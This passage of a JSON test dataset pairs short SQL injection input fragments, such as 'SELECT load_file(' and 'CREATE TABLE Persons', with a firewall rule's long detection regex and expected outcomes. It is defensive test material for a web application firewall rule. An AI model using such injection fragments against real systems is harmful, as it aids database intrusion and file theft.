(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "` AS `documentType` FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT load_file(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "6 As\" from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ", aside from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1580" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=/create" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1605" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=/CREATE TABLE Persons" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1605" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": " Delete (Trashcan)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "5desc" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "34-delete" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": " update" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "/select-quote" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": 